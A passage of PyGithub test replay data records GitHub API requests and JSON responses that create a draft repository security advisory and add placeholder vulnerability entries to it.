('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F618:0C65:20E2CB:431BAB:642C4F44')] {"ghsa_id":"GHSA-wmmh-r9w4-hpxx","cve_id":"CVE-2023-00000","url":"https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx","html_url":"https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-wmmh-r9w4-hpxx","summary":"A test creating a GHSA via the API","description":"This is a detailed description of this advisories impact and patches.","severity":"high","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-wmmh-r9w4-hpxx","type":"GHSA"},{"value":"CVE-2023-00000","type":"CVE"}],"state":"draft","created_at":"2023-03-28T21:41:40Z","updated_at":"2023-03-30T19:31:33Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"a-package"},"vulnerable_version_range":">= 1.0.2","patched_versions":"1.0.5","vulnerable_functions":["function-name"]}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H","score":7.6},"cwes":[{"cwe_id":"CWE-400","name":"Uncontrolled Resource Consumption"},{"cwe_id":"CWE-501","name":"Trust Boundary Violation"}],"cwe_ids":["CWE-400","CWE-501"],"credits":[{"login":"octocat","type":"analyst"}],"credits_detailed":[{"user":{"login":"octocat","id":583231,"node_id":"MDQ6VXNlcjU4MzIzMQ==","avatar_url":"https://avatars.githubusercontent.com/u/583231?v=4","gravatar_id":"","url":"https://api.github.com/users/octocat","html_url":"https://github.com/octocat","followers_url":"https://api.github.com/users/octocat/followers","following_url":"https://api.github.com/users/octocat/following{/other_user}","gists_url":"https://api.github.com/users/octocat/gists{/gist_id}","starred_url":"https://api.github.com/users/octocat/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/octocat/subscriptions","organizations_url":"https://api.github.com/users/octocat/orgs","repos_url":"https://api.github.com/users/octocat/repos","events_url":"https://api.github.com/users/octocat/events{/privacy}","received_events_url":"https://api.github.com/users/octocat/received_events","type":"User","site_admin":false},"type":"analyst","state":"pending"}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/RepositoryAdvisory.testAddVulnerability.txt0000644000175100001660000004573414756101563026775 0ustar00runnerdockerhttps GET api.github.com None /repos/JLLeitschuh/code-sandbox {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 15:27:37 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"c958ae868bcb809b020632c7d08b3898868191584e8b28520cd66fcbb15dc06e"'), ('Last-Modified', 'Fri, 07 Jan 2022 23:03:20 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4977'), ('X-RateLimit-Reset', '1680625274'), ('X-RateLimit-Used', '23'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'FEE5:23B6:485487:939882:642C41E8')] {"id":289330855,"node_id":"MDEwOlJlcG9zaXRvcnkyODkzMzA4NTU=","name":"code-sandbox","full_name":"JLLeitschuh/code-sandbox","private":false,"owner":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"html_url":"https://github.com/JLLeitschuh/code-sandbox","description":null,"fork":false,"url":"https://api.github.com/repos/JLLeitschuh/code-sandbox","forks_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/forks","keys_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/keys{/key_id}","collaborators_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/teams","hooks_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/hooks","issue_events_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/issues/events{/number}","events_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/events","assignees_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/assignees{/user}","branches_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/branches{/branch}","tags_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/tags","blobs_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/refs{/sha}","trees_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/trees{/sha}","statuses_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/statuses/{sha}","languages_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/languages","stargazers_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/stargazers","contributors_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/contributors","subscribers_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/subscribers","subscription_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/subscription","commits_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/commits{/sha}","git_commits_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/commits{/sha}","comments_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/comments{/number}","issue_comment_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/issues/comments{/number}","contents_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/contents/{+path}","compare_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/compare/{base}...{head}","merges_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/merges","archive_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/downloads","issues_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/issues{/number}","pulls_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/pulls{/number}","milestones_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/milestones{/number}","notifications_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/labels{/name}","releases_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/releases{/id}","deployments_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/deployments","created_at":"2020-08-21T17:47:53Z","updated_at":"2022-01-07T23:03:20Z","pushed_at":"2023-03-10T16:07:28Z","git_url":"git://github.com/JLLeitschuh/code-sandbox.git","ssh_url":"git@github.com:JLLeitschuh/code-sandbox.git","clone_url":"https://github.com/JLLeitschuh/code-sandbox.git","svn_url":"https://github.com/JLLeitschuh/code-sandbox","homepage":null,"size":106,"stargazers_count":0,"watchers_count":0,"language":"Java","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"}},"network_count":0,"subscribers_count":2} https POST api.github.com None /repos/JLLeitschuh/code-sandbox/security-advisories {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"summary": "A test creating a GHSA via the API adding and removing vulnerabilities", "description": "Simple description", "vulnerabilities": [], "cwe_ids": [], "severity": "low"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 15:27:37 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1696'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"3db06831549ec4357c1f120aded02676224ede5707e59ebe7933593f6900343d"'), ('Last-Modified', 'Tue, 04 Apr 2023 15:27:37 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('Location', 'https://api.github.com/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-2f23-hmjx-gm6h'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4976'), ('X-RateLimit-Reset', '1680625274'), ('X-RateLimit-Used', '24'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'FEEA:0E49:4361FD:899387:642C41E9')] {"ghsa_id":"GHSA-2f23-hmjx-gm6h","cve_id":null,"url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-2f23-hmjx-gm6h","html_url":"https://github.com/JLLeitschuh/code-sandbox/security/advisories/GHSA-2f23-hmjx-gm6h","summary":"A test creating a GHSA via the API adding and removing vulnerabilities","description":"Simple description","severity":"low","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-2f23-hmjx-gm6h","type":"GHSA"}],"state":"draft","created_at":"2023-04-04T15:27:37Z","updated_at":"2023-04-04T15:27:37Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[],"cvss":{"vector_string":null,"score":null},"cwes":[],"cwe_ids":[],"credits":[],"credits_detailed":[]} https PATCH api.github.com None /repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-2f23-hmjx-gm6h {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"vulnerabilities": [{"package": {"ecosystem": "maven", "name": null}, "patched_versions": null, "vulnerable_functions": null, "vulnerable_version_range": null}]} 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 15:27:37 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"6c5a1d8550738b7052c587a40ce822c1ec0d9b7925506d353956756c3eda6e26"'), ('Last-Modified', 'Tue, 04 Apr 2023 15:27:37 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4975'), ('X-RateLimit-Reset', '1680625274'), ('X-RateLimit-Used', '25'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'FEEB:0FB7:4ACC5A:989B6C:642C41E9')] {"ghsa_id":"GHSA-2f23-hmjx-gm6h","cve_id":null,"url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-2f23-hmjx-gm6h","html_url":"https://github.com/JLLeitschuh/code-sandbox/security/advisories/GHSA-2f23-hmjx-gm6h","summary":"A test creating a GHSA via the API adding and removing vulnerabilities","description":"Simple description","severity":"low","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-2f23-hmjx-gm6h","type":"GHSA"}],"state":"draft","created_at":"2023-04-04T15:27:37Z","updated_at":"2023-04-04T15:27:37Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"maven","name":null},"vulnerable_version_range":null,"patched_versions":null,"vulnerable_functions":[]}],"cvss":{"vector_string":null,"score":null},"cwes":[],"cwe_ids":[],"credits":[],"credits_detailed":[]} https PATCH api.github.com None /repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-2f23-hmjx-gm6h {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"vulnerabilities": [{"package": {"ecosystem": "maven", "name": null}, "patched_versions": null, "vulnerable_functions": [], "vulnerable_version_range": null}, {"package": {"ecosystem": "npm", "name": "b-package"}, "patched_versions": "4.0.10", "vulnerable_functions": ["function-name-c"], "vulnerable_version_range": "<=4.0.9"}]} 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 15:27:37 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"6f5a7459d1855bc221f78575c32a76b17c9783accc7468362b719c49a8ed198f"'), ('Last-Modified', 'Tue, 04 Apr 2023 15:27:37 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4974'), ('X-RateLimit-Reset', '1680625274'), ('X-RateLimit-Used', '26'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'FEEC:4173:499069:95F1F0:642C41E9')] {"ghsa_id":"GHSA-2f23-hmjx-gm6h","cve_id":null,"url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-2f23-hmjx-gm6h","html_url":"https://github.com/JLLeitschuh/code-sandbox/security/advisories/GHSA-2f23-hmjx-gm6h","summary":"A test creating a GHSA via the API adding and removing vulnerabilities","description":"Simple description","severity":"low","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-2f23-hmjx-gm6h","type":"GHSA"}],"state":"draft","created_at":"2023-04-04T15:27:37Z","updated_at":"2023-04-04T15:27:37Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"maven","name":null},"vulnerable_version_range":null,"patched_versions":null,"vulnerable_functions":[]},{"package":{"ecosystem":"npm","name":"b-package"},"vulnerable_version_range":"<=4.0.9","patched_versions":"4.0.10","vulnerable_functions":["function-name-c"]}],"cvss":{"vector_string":null,"score":null},"cwes":[],"cwe_ids":[],"credits":[],"credits_detailed":[]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/RepositoryAdvisory.testCreateRepositoryAdvisory.txt0000644000175100001660000003343714756101563030554 0ustar00runnerdockerhttps GET api.github.com None /repos/JLLeitschuh/code-sandbox {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 12:46:55 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"c958ae868bcb809b020632c7d08b3898868191584e8b28520cd66fcbb15dc06e"'), ('Last-Modified', 'Fri, 07 Jan 2022 23:03:20 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4973'), ('X-RateLimit-Reset', '1680614071'), ('X-RateLimit-Used', '27'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CCA5:93AD:1207CE:24DD3C:642C1C3F')] {"id":289330855,"node_id":"MDEwOlJlcG9zaXRvcnkyODkzMzA4NTU=","name":"code-sandbox","full_name":"JLLeitschuh/code-sandbox","private":false,"owner":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"html_url":"https://github.com/JLLeitschuh/code-sandbox","description":null,"fork":false,"url":"https://api.github.com/repos/JLLeitschuh/code-sandbox","forks_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/forks","keys_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/keys{/key_id}","collaborators_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/teams","hooks_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/hooks","issue_events_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/issues/events{/number}","events_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/events","assignees_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/assignees{/user}","branches_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/branches{/branch}","tags_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/tags","blobs_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/refs{/sha}","trees_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/trees{/sha}","statuses_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/statuses/{sha}","languages_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/languages","stargazers_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/stargazers","contributors_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/contributors","subscribers_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/subscribers","subscription_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/subscription","commits_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/commits{/sha}","git_commits_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/commits{/sha}","comments_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/comments{/number}","issue_comment_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/issues/comments{/number}","contents_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/contents/{+path}","compare_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/compare/{base}...{head}","merges_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/merges","archive_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/downloads","issues_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/issues{/number}","pulls_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/pulls{/number}","milestones_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/milestones{/number}","notifications_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/labels{/name}","releases_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/releases{/id}","deployments_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/deployments","created_at":"2020-08-21T17:47:53Z","updated_at":"2022-01-07T23:03:20Z","pushed_at":"2023-03-10T16:07:28Z","git_url":"git://github.com/JLLeitschuh/code-sandbox.git","ssh_url":"git@github.com:JLLeitschuh/code-sandbox.git","clone_url":"https://github.com/JLLeitschuh/code-sandbox.git","svn_url":"https://github.com/JLLeitschuh/code-sandbox","homepage":null,"size":106,"stargazers_count":0,"watchers_count":0,"language":"Java","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"def